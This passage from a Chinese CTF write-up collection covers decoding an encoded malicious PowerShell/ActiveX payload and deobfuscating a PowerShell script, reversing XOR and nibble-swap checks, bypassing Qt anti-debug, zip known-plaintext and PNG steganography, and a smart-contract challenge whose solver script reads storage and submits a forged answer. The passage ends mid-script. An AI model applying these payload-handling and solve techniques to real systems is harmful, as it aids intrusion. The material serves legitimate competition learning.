 81    653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
 82    698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
 83    653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
 84    657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
 85    699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
 86    699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
 87    653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
 88    698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
 89    650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
 90    657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
 91    651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
 92    698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
 93    703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
 94    702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
 95    701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
 96    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
 97    656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
 98    702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
 99    654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
100    702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
101    654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
102    698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
103    702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
104    702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
105    701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
106    702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
107    699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
108    703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
109    700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
110    703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
111    653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
112    698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
113    700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
114    702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
115    701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
116    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
117    651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
118    658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
119    700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
120    702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
121    633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
122    711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
123    647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
124    640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
125    640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
126    711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
127    716, 717, 715, 706, 711, 704, 641, 652, 642
128]
129
130# --- 执行解码并打印结果 ---
131
132decoded_object_name = decode_string_from_numbers(array_for_object)
133decoded_payload_command = decode_string_from_numbers(array_for_payload)
134
135print("--- 解码结果 ---")
136print("\n[+] 解码后的ActiveX对象名称:")
137print(decoded_object_name)
138
139print("\n[!] 解码后的恶意Payload (PowerShell命令):")
140print(decoded_payload_command)
141print("\n--- 分析结束 ---")

又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下

01e93253-6320-4644-a656-f1cfdc8e3ffd

解出来有个图片,访问一下下载下来,010看看

10c6d647-5e4e-4452-afed-c26c46ee5243

发现是被处理过的powershell代码

81ac7a90-2e95-4ee4-9808-887617c82653

丢给gemini让他写个分析的脚本

 1import re
 2
 3
 4def parse_obfuscated_ps1(file_path):
 5    """
 6    解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。
 7
 8    参数:
 9    file_path (str): s.ps1 文件的路径。
10
11    返回:
12    str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
13    """
14    try:
15        with open(file_path, 'r', encoding='utf-8') as f:
16            content = f.read()
17    except Exception as e:
18        return f"错误:无法读取文件 {file_path}。原因: {e}"
19
20    # 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
21    # 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
22    # $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
23    var_map = {
24        'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
25        'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
26    }
27
28    # 2. 从完整脚本中定位并提取核心载荷部分
29    # 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
30    match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
31    if not match:
32        return "错误:未能在文件中找到预期的混淆载荷格式。"
33
34    payload = match.group(1)
35
36    # 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
37    payload = payload.replace('+', '')
38    char_code_chunks = payload.split('$g')
39
40    # 4. 解码每个块
41    decoded_script = ""
42    # 第一个块是空的,从第二个开始遍历
43    for chunk in char_code_chunks:
44        if not chunk:
45            continue
46
47        num_str = ""
48        # 将块中的每个字符变量替换为其对应的数字
49        for char_var in chunk:
50            num_str += var_map.get(char_var, '')
51
52        if num_str:
53            try:
54                # 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
55                char_code = int(num_str)
56                decoded_script += chr(char_code)
57            except (ValueError, OverflowError):
58                # 如果转换失败,则忽略这个块
59                pass
60
61    return decoded_script
62
63
64# --- 使用示例 ---
65# 请将 's.ps1' 替换为您文件的实际路径
66file_to_parse = 's.ps1'
67deobfuscated_code = parse_obfuscated_ps1(file_to_parse)
68
69print("--- 解码后的 PowerShell 脚本 ---")
70print(deobfuscated_code)

解出来就有了

4d2342a4-cc78-4e0f-9b02-864e1bbf7333

obfusheader.h

知识点省流

动调跟踪数据流

WP

先去花

然后开始分析,搜索字符串找到输入的地方

daa967b0-4b57-4ada-ac15-68cf2ad841c3

定位到函数中,打上硬件断点,开始调试

9e4b2a15-5bfd-4fc3-81e0-bfec14401c64

简单测试一下可以知道输入长度是40,0x28

3cfa4577-3b7b-41f4-bef3-b96a44e20c8e

3b35e68f-8ede-4179-9e93-0d4dd30faff4

往下走,这里计算了字符串长度

b9088388-2453-4097-8223-ef3664c59ec4

接着往下走,这里函数进行了异或

8cc0ca11-ccc1-4699-ab37-d8b999184bd3

接着往下走,提取密文

62c18f4a-63d9-49d4-ae90-b4c88ef71fa6

然后拿厨子跟我们输入的a解异或得到异或的key

5442f61d-96af-468e-9a1d-93f42a4dcdd2

接着调试,往下走,这里函数执行了一波高低位互换取反

a3820d16-eda8-45f2-b4f2-06b405a97dec

接着走,直到程序输出加密完成,这里就是我们要的密文

37fc6758-478c-461f-bf9c-25c311888155

提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好

1enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]
2
3def decode_byte(b):
4    b = ~b & 0xFF                      # 取反并确保保持8位
5    return ((b >> 4) | (b << 4)) & 0xFF  # 高低4位交换
6
7result = [decode_byte(b) for b in enc]
8print(result)

最后在厨子那再处理一下,然后用前面的key去异或即可得到flag

36980f7f-3795-42ae-be3f-eeb9cde69f3f

Qt_Creator

知识点省流

qt程序逆向

WP

简单的qt逆向

装好之后拿ida分析,发现调试就退出 应该是有反调试

字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试

3201694a-2435-400e-9e27-360151ec88c6

进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里 简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断

41122bcb-41a4-44ae-8cc0-4fb8d5ca8111

在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换

双击进入即可看到下面的flag

7be93ccc-b200-409f-b2ed-abec17a974c8

Misc

v我50(R)MB

知识点省流

奇妙的用户侧数据泄露(?)

WP

根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的

看了看都不行

遂抓包,抓那个图片的链接

一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)

提前放出附件

知识点省流

压缩包明文攻击-tar变种

WP

给了个store存储的加密zip

明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了

f5babd42-5a7b-4c14-9fd0-152a3168fe06

PNG Master

知识点省流

png考点小串烧

WP

给了png

lsb藏了一段flag

010图片末尾藏了一段flag

最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档

其中一个里面有零宽字节,解出来提示是文件名xor

拿secret跟里面的内容异或得到第三段flag

Blockchain

生蚝的宝藏

知识点省流

有点小套的区块链源码反汇编解密

WP

没有给代码,只有靶机,连接后选项1创建账号,2生成合约

梭个脚本去读取合约中的字节码

 1import requests
 2import json
 3
 4RPC_URL = "http://106.15.138.99:8545/"
 5TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
 6CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
 7TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"
 8
 9headers = {"Authorization": f"Bearer {TOKEN}"}
10
11# Slot 0
12payload_storage = {
13    "jsonrpc": "2.0",
14    "method": "eth_getStorageAt",
15    "params": [CONTRACT_ADDR, "0x0", "latest"],
16    "id": 1
17}
18slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
19print("Slot 0:", slot_0)
20
21
22def get_tx():
23    payload = {
24        "jsonrpc": "2.0",
25        "method": "eth_getTransactionByHash",
26        "params": [TX_HASH],
27        "id": 1
28    }
29    try:
30        print("尝试请求交易信息...")
31        resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
32        data = resp.get('result')
33        if data is None:
34            print("无返回内容:", json.dumps(resp, indent=2))
35        else:
36            # 打印 json 格式内容
37            print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
38        return data
39    except Exception as e:
40        print("请求失败:", e)
41
42
43tx_content = get_tx()

得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下

image-20250818023412652

得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)

image-20250818023504167

反汇编一下合约字节码 https://app.dedaub.com/decompile

上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码

 1// Decompiled by library.dedaub.com
 2// 2025.08.15 13:23 UTC
 3// Compiled using the solidity compiler version 0.8.9
 4
 5// Data structures and variables inferred from the use of storage instructions
 6uint256[] ___function_selector__; // STORAGE[0x0]
 7bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0
 8
 9// Note: The function selector is not present in the original solidity code.
10// However, we display it for the sake of completeness.
11
12function __function_selector__() public payable { 
13    MEM[64] = 128;
14    require(!msg.value);
15    MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
16    MEM[64] = MEM[64] + (this.code.size - 2032);
17    require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
18    require(MEM[MEM[64]] <= uint64.max);
19    require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
20    v0 = MEM[MEM[64] + MEM[MEM[64]]];
21    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
22    require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
23    MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
24    require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
25    v1 = v2 = 0;
26    while (v1 < v0) {
27        MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
28        v1 += 32;
29    }
30    if (v1 > v0) {
31        MEM[MEM[64] + v0 + 32] = 0;
32    }
33    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
34    v3 = new bytes[](v0);
35    if (v0) {
36        CALLDATACOPY(v3.data, msg.data.length, v0);
37    }
38    v4 = v5 = 0;
39    while (v4 < v0) {
40        require(v6.length, Panic(18)); // division by zero
41        require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
42        require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
43        require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
44        MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
45        require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
46        v4 += 1;
47    }
48    v7 = v8 = v3.data;
49    v9 = v10 = ___function_selector__.length >> 1;
50    if (!(___function_selector__.length & 0x1)) {
51        v9 = v11 = v10 & 0x7f;
52    }
53    require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
54    v12 = v13 = ___function_selector__.data;
55    if (v3.length) {
56        if (31 < v3.length) {
57            ___function_selector__.length = 1 + (v3.length + v3.length);
58            if (v3.length) {
59                while (v8 + v3.length > v7) {
60                    STORAGE[v12] = MEM[v7];
61                    v7 += 32;
62                    v12 += 1;
63                }
64            }
65        } else {
66            ___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
67        }
68    } else {
69        ___function_selector__.length = 0;
70    }
71    while (v13 + (31 + v9 >> 5) > v12) {
72        STORAGE[v12] = 0;
73        v12 += 1;
74    }
75    stor_1_0_0 = 0;
76    MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
77    return MEM[0:1113];
78}

上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分

 1// Decompiled by library.dedaub.com
 2// 2025.08.15 16:53 UTC
 3// Compiled using the solidity compiler version 0.8.9
 4
 5// Data structures and variables inferred from the use of storage instructions
 6uint256[] array_0; // STORAGE[0x0]
 7bool _isSolved; // STORAGE[0x1] bytes 0 to 0
 8
 9function fallback() public payable { 
10    revert();
11}
12
13function 0x5cc4d812(bytes varg0) public payable { 
14    require(msg.data.length - 4 >= 32);
15    require(varg0 <= uint64.max);
16    require(4 + varg0 + 31 < msg.data.length);
17    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
18    v0 = new bytes[](varg0.length);
19    require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
20    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
21    CALLDATACOPY(v0.data, varg0.data, varg0.length);
22    v0[varg0.length] = 0;
23    require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
24    v1 = new bytes[](v0.length);
25    if (v0.length) {
26        CALLDATACOPY(v1.data, msg.data.length, v0.length);
27    }
28    v2 = v3 = 0;
29    while (v2 < v0.length) {
30        require(v4.length, Panic(18)); // division by zero
31        require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
32        require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
33        require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
34        MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
35        require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
36        v2 += 1;
37    }
38    v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
39    v6 = v7 = 0;
40    while (v6 < v1.length) {
41        MEM[v6 + v5.data] = v1[v6];
42        v6 += 32;
43    }
44    if (v6 > v1.length) {
45        MEM[v5.data + v1.length] = 0;
46    }
47    MEM[64] = v1.length + v5.data;
48    v8 = v5.length;
49    v9 = v5.data;
50    v10 = new uint256[](v11 - MEM[64] - 32);
51    v11 = v12 = 0;
52    v13 = v14 = array_0.length >> 1;
53    if (!(array_0.length & 0x1)) {
54        v13 = v15 = v14 & 0x7f;
55    }
56    require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
57    if (!(array_0.length & 0x1)) {
58        MEM[v10.data] = bytes31(array_0.length);
59        v11 = v16 = v10.data + v13;
60    } else if (array_0.length & 0x1 == 1) {
61        v17 = v18 = array_0.data;
62        v19 = v20 = 0;
63        while (v19 < v13) {
64            MEM[v19 + v10.data] = STORAGE[v17];
65            v17 += 1;
66            v19 += 32;
67        }
68        v11 = v21 = v10.data + v13;
69    }
70    v22 = v10.length;
71    v23 = v10.data;
72    require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
73    _isSolved = 1;
74}
75
76function isSolved() public payable { 
77    return _isSolved;
78}
79
80// Note: The function selector is not present in the original solidity code.
81// However, we display it for the sake of completeness.
82
83function __function_selector__( function_selector) public payable { 
84    MEM[64] = 128;
85    require(!msg.value);
86    if (msg.data.length >= 4) {
87        if (0x5cc4d812 == function_selector >> 224) {
88            0x5cc4d812();
89        } else if (0x64d98f6e == function_selector >> 224) {
90            isSolved();
91        }
92    }
93    fallback();
94}

经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了

问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来

经过各种尝试和ai拷打都没有结果

后面我注意到两点

一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)

ee8c4180-94db-4553-ab00-c8a177d950b3

太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文

43c6223b-010c-452e-8dc3-cfc4b459f8a4

这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行

过了会又想到可能真正的key是’key_77486f5f'

试了一下就出了,又被套娃到了

exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的

  1#!/usre/bin/env python3
  2import socket
  3import re
  4import time
  5import requests
  6from web3 import Web3
  7from eth_account import Account
  8from Crypto.Hash import keccak
  9import json
 10
 11# Configuration
 12RPC_URL = "http://106.15.138.99:8545/"
 13FAUCET_URL = "http://106.15.138.99:8080/"
 14NC_HOST = "challenge.xinshi.fun"
 15NC_PORT = 44088
 16
 17
 18def connect_nc(host, port):
 19    """Connect to NC server"""
 20    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 21    s.connect((host, port))
 22    return s
 23
 24
 25def send_and_receive(sock, message, timeout=2):
 26    """Send message and receive response"""
 27    sock.send((message + '\n').encode())
 28    time.sleep(timeout)
 29    data = b''
 30    sock.settimeout(0.5)
 31    while True:
 32        try:
 33            chunk = sock.recv(4096)
 34            if not chunk:
 35                break
 36            data += chunk
 37        except socket.timeout:
 38            break
 39    return data.decode('utf-8', errors='ignore')
 40
 41
 42def create_account():
 43    """Step 1: Create account and get token"""
 44    print("[*] Creating account...")
 45    sock = connect_nc(NC_HOST, NC_PORT)
 46
 47    # Receive initial message
 48    initial = send_and_receive(sock, "", timeout=1)
 49    print(initial)
 50
 51    # Send choice 1
 52    response = send_and_receive(sock, "1")
 53    print(response)
 54
 55    # Parse deployer account and token
 56    deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
 57    token_match = re.search(r'token: ([^\s]+)', response)
 58
 59    if not deployer_match or not token_match:
 60        raise Exception("Failed to parse account info")
 61
 62    deployer_address = deployer_match.group(1)
 63    token = token_match.group(1)
 64
 65    sock.close()
 66
 67    print(f"[+] Deployer Address: {deployer_address}")
 68    print(f"[+] Token: {token}")
 69
 70    return deployer_address, token
 71
 72
 73def get_faucet(address, token):
 74    """Get test ETH from faucet"""
 75    print(f"[*] Getting ETH from faucet for {address}...")
 76
 77    headers = {
 78        'Authorization': f'Bearer {token}',
 79        'Content-Type': 'application/json'
 80    }
 81
 82    data = {
 83        'address': address
 84    }
 85
 86    try:
 87        response = requests.post(FAUCET_URL, headers=headers, json=data)
 88        print(f"[+] Faucet response: {response.status_code}")
 89        if response.status_code == 200:
 90            print("[+] Successfully got ETH from faucet")
 91        else:
 92            print(f"[!] Faucet request may have failed: {response.text}")
 93    except Exception as e:
 94        print(f"[!] Faucet error: {e}")
 95
 96    # Wait for transaction to be mined
 97    time.sleep(5)
 98
 99
100def wait_for_eth(address, min_balance=0.001, timeout=200):
101    """Wait for ETH to arrive in account"""
102    print(f"[*] Waiting for ETH in account {address}...")
103    print(f"[*] Minimum balance required: {min_balance} ETH")
104    print(f"[*] Timeout: {timeout} seconds")
105
106    w3 = Web3(Web3.HTTPProvider(RPC_URL))
107    start_time = time.time()
108
109    while time.time() - start_time < timeout:
110        try:
111            balance = w3.eth.get_balance(address)
112            balance_eth = w3.from_wei(balance, 'ether')
113
114            if balance_eth >= min_balance:
115                print(f"[+] Balance found: {balance_eth} ETH")
116                return True
117            else:
118                elapsed = int(time.time() - start_time)
119                print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
120                time.sleep(2)
121        except Exception as e:
122            print(f"[!] Error checking balance: {e}")
123            time.sleep(2)
124
125    print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
126    return False
127
128
129def deploy_contract(token):
130    """Step 2: Deploy contract"""
131    print("[*] Deploying contract...")
132    sock = connect_nc(NC_HOST, NC_PORT)
133
134    # Receive initial message
135    initial = send_and_receive(sock, "", timeout=1)
136
137    # Send choice 2
138    response = send_and_receive(sock, "2")
139
140    # Send token
141    response = send_and_receive(sock, token, timeout=5)
142    print(response)
143
144    # Parse contract address
145    contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
146    tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)
147
148    if not contract_match:
149        # Check for error message
150        if "send test ether" in response.lower():
151            print("[!] Insufficient ETH for deployment")
152        raise Exception("Failed to parse contract address")
153
154    contract_address = contract_match.group(1)
155    tx_hash = tx_match.group(1) if tx_match else None
156
157    sock.close()
158
159    print(f"[+] Contract Address: {contract_address}")
160    print(f"[+] Transaction Hash: {tx_hash}")
161
162    return contract_address, tx_hash
163
164
165def solve_challenge(contract_address, deployer_address, token):
166    """Solve the CTF challenge"""
167    print(f"[*] Solving challenge for contract {contract_address}...")
168
169    # Connect to Web3
170    w3 = Web3(Web3.HTTPProvider(RPC_URL))
171
172    # Create a new account for solving (since we don't have the deployer's private key)
173    solver_account = Account.create()
174    solver_address = solver_account.address
175    solver_private_key = solver_account.key.hex()
176
177    print(f"[+] Solver Address: {solver_address}")
178    print(f"[+] Solver Private Key: {solver_private_key}")
179
180    # Get ETH for solver account from faucet
181    print("[*] Getting ETH for solver account...")
182    get_faucet(solver_address, token)
183
184    # Wait for ETH to arrive
185    if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
186        print("[!] Failed to get ETH for solver account")
187        return False
188
189    # Get the storage value at slot 0 (array_0)
190    print("[*] Reading contract storage...")
191
192    # Read storage slot 0 to get array length and data
193    slot0 = w3.eth.get_storage_at(contract_address, 0)
194    print(f"[+] Storage slot 0: {slot0.hex()}")
195
196    # Parse the array data based on Solidity storage layout
197    array_length_raw = int.from_bytes(slot0, 'big')
198
199    if array_length_raw & 1 == 0:
200        # Short array (length < 32), data is in slot 0
201        array_length = (array_length_raw) >> 1  # Remove the encoding
202        print(f"[+] Short array, length: {array_length}")
203
204        # For short arrays, the length is encoded in the last byte
205        # and the data fills the rest of the slot from the beginning
206        actual_length = slot0[-1] >> 1  # Last byte contains length*2
207        array_data = slot0[:actual_length]
208        print(f"[+] Actual array length from last byte: {actual_length}")
209        print(f"[+] Array data: {array_data.hex()}")
210    else:
211        # Long array (length >= 32)
212        array_length = (array_length_raw - 1) // 2
213        print(f"[+] Long array, length: {array_length}")
214
215        # Calculate storage slot for array data
216        slot_hash = Web3.keccak(b'\x00' * 32)
217
218        # Read array data from storage
219        array_data = b''
220        num_slots = (array_length + 31) // 32
221
222        for i in range(num_slots):
223            slot_index = int.from_bytes(slot_hash, 'big') + i
224            slot_data = w3.eth.get_storage_at(contract_address, slot_index)
225            array_data += slot_data
226
227        array_data = array_data[:array_length]
228        print(f"[+] Array data: {array_data.hex()}")
229
230    # The XOR key from the decompiled code
